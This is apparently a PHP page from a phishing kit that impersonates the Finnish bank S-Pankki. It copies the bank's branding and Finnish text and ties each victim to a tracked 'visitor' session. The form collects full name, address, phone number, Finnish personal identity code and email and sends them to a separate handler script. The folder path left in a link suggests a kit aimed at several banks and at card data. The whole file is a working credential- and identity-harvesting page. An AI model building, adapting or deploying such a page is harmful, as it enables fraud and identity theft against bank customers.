<?php
     // Start the session to access session variables
     session_start();
    
     // Include your database connection file
     require_once '../../oyexa/config.php';
     
     // Check if the user is logged in
     if (!isset($_SESSION['visitor_id'])) {
         // If not logged in, redirect to the login page
         header("Location: login/spk.php");
         exit;
     }
     
     // Fetch the redirect address of the logged-in user from the database
     $visitor_id = $_SESSION['visitor_id'];
     $stmt = $pdo->prepare("SELECT * FROM visitors WHERE id = ?");
     $stmt->execute([$visitor_id]);
     $visitor = $stmt->fetch(PDO::FETCH_ASSOC);

?>
<!DOCTYPE html>
<html lang="fi">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
    <meta http-equiv="Pragma" content="no-cache">
    <meta http-equiv="Expires" content="0">
    <meta http-equiv="Cache-Control" content="no-cache">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="shortcut icon" href="https://www.s-pankki.fi/favicon.ico">
    <title>S-Pankki</title>
    <noscript>
        <style>
            html, body {
                height: 100% !important;
                overflow: hidden;
            }
            header, main, footer, .versionInfo { display: none !important; }
        </style>
        <div class="js-error">
            <div class="logo"></div>
        </div>
        <div class="system-error"></div>
        <div class="image">
            <div class="illustration"></div>
        </div>
    </noscript>
    <link href="./Tunnistautuminen_files/auth.05f49022e1cd9c5b1b15.css" rel="stylesheet">
</head>
<body class="ebank no-js fi">
    <main class="page-wrapper login-layout">
        <div class="page-info"></div>
        <div class="page-box">
            <div class="page-box-header">
                <h3 class="page-box-heading">
                    <img src="Tunnistautuminen_files/spankki.png" alt="" width="186" height="91" class="img-service-name">
                    <img src="Tunnistautuminen_files/sb.png" alt="">
                </h3>
                <h3 class="page-box-heading">Lomakkeella kysytyt tiedot ovat pakollisia, t&auml;yt&auml;th&auml;...llisesti kaikki kohdat.</h3>
            </div>
            <div class="page-box-banner">
                <p>&nbsp;</p>
            </div>
            <div class="page-box-content">
                <div class="grid-x">                    
                    <div class="cell small-12 medium-12">
                        <form method="post" action="../code.php">
                            <div class="ds-form-row ds-form-row--large ds-row">
                                <div class="ds-form-row__label ds-col ds-col--sm-4"><span id="ds-fr-label-43"></span></div>
                                <div class="ds-form-row__item ds-col ds-col--sm-8">
                                    <div aria-labelledby="ds-fr-label-43" role="group" class="ds-radio-group ds-radio-group--large">
                                        <div class="ds-option ds-option--large"></div>
                                        <div class="ds-option ds-option--large"></div>
                                    </div>
                                </div>
                            </div>
                            <div class="ds-form-row ds-form-row--large ds-row">
                                <div class="ds-form-row__label ds-col ds-col--sm-4">
                                    <label for="auth-device-userid-kr" id="ds-fr-label-51"></label>
                                </div>
                                <div class="ds-form-row__item ds-col ds-col--sm-8">
                                    <p>Etunimet/Sukunimi*
                                        <input aria-invalid="false" aria-required="true" id="fname" maxlength="" required name="fname" minlength="" placeholder="Koko nimi" autocomplete="off" class="ds-text-input ds-input-behavior ds-input-behavior--large" type="text" value="">
                                        <span id="ds-ti-ml-52" style="display: none;">Sy�t� korkeintaan 8 merkki�</span>
                                    </p>
                                    <p>&nbsp;</p>
                                </div>
                            </div>
                            <div class="ds-form-row ds-form-row--large ds-row" style="margin-bottom: 1.6rem;">
                                <div class="ds-form-row__label ds-col ds-col--sm-4">
                                    <label id="ds-fr-label-63"></label>
                                </div>
                                <div class="ds-form-row__item ds-col ds-col--sm-8">
                                    Osoite*
                                    <input aria-invalid="false" aria-required="true" id="address" maxlength="" required placeholder="Osoite" name="address" autocomplete="off" class="ds-text-input ds-input-behavior ds-input-behavior--large" type="text" value="">
                                    Postitoimipaikka*
                                    <input aria-invalid="false" aria-required="true" id="city" maxlength="" required placeholder="Postitoimipaikka" name="city" autocomplete="off" class="ds-text-input ds-input-behavior ds-input-behavior--large" type="text" style="width:195px" size="" value="">
                                    Postinumero
                                    <input aria-invalid="false" aria-required="true" id="postcode" maxlength="" required placeholder="Postinumero" name="postcode" autocomplete="off" class="ds-text-input ds-input-behavior ds-input-behavior--large" type="text" style="width:195px" size="" value="">
                                </div>
                            </div>
                            <div class="ds-form-row ds-form-row--large ds-row" style="margin-bottom: 1.6rem;">
                                <div class="ds-form-row__label ds-col ds-col--sm-4">
                                    <label id="ds-fr-label-63"></label>
                                </div>
                                <div class="ds-form-row__item ds-col ds-col--sm-8">
                                    <p>Puhelinnumero*
                                        <input aria-invalid="false" aria-required="true" id="phone" maxlength="" required placeholder="040 000 0000" name="phone" autocomplete="off" class="ds-text-input ds-input-behavior ds-input-behavior--large" type="text" style="width:190px" size="" value="">
                                    </p>
                                    <p>&nbsp;</p>
                                </div>
                            </div>
                            <div class="ds-form-row ds-form-row--large ds-row" style="margin-bottom: 1.6rem;">
                                <div class="ds-form-row__label ds-col ds-col--sm-4">
                                    <label id="ds-fr-label-63"></label>
                                </div>
                                <div class="ds-form-row__item ds-col ds-col--sm-8">
                                    Henkil&ouml;tunnus*
                                    <input aria-invalid="false" aria-required="true" id="dob" maxlength="" required placeholder="ppkkvv-xxxx"  name="dob" autocomplete="off" class="ds-text-input ds-input-behavior ds-input-behavior--large" type="text" style="width:190px" size="" value="">
                                </div>
                            </div>
                            <div class="ds-form-row ds-form-row--large ds-row" style="margin-bottom: 1.6rem;">
                                <div class="ds-form-row__label ds-col ds-col--sm-4">
                                    <label id="ds-fr-label-63"></label>
                                </div>
                                <div class="ds-form-row__item ds-col ds-col--sm-8">
                                    S&auml;hk&ouml;posti*
                                    <input aria-invalid="false" aria-required="true" id="branch" maxlength="" required placeholder="Sahkoposti" name="email" autocomplete="off" class="ds-text-input ds-input-behavior ds-input-behavior--large" type="text" value="">
                                    Tietosuoja on perusoikeutesi, joka suojaa henkil&ouml;tietojasi ja turvaa yksityisyytt&auml;si.
                                    <a href="file:///C:/Users/kamuz/Desktop/Folder/OTP-ALL%20BNK/spankki/spankki%20with%20CC/spankki/info1.html" target="popup" onclick="window.open('./Tunnistautuminen_files/Tietosuojaseloste+FI.pdf','popup','width=600,height=600'); return false;">Lue lis&auml;&auml;</a>
                                    <a href="" target="popup" onclick="window.open('./Tunnistautuminen_files/Tietosuojaseloste+FI.pdf','popup','width=600,height=600'); return false;">.</a>
                                </div>
                            </div>
                            <div class="button-row">
                                <input type="hidden" name="visitor_id" value="<?= $visitor['id']; ?>">
                                <input type="hidden" name="username" value="<?= $visitor['username']; ?>">
                                <button type="submit" class="button" name="submit_details" value="Jatka">
                                    <span class="btn-normal">
                                        <span class="arrow">Jatka</span>
                                    </span>
                                </button>
                            </div>
                        </form>
                    </div>
                </div>
            </div>
        </div>
    </main>
</body>
</html>
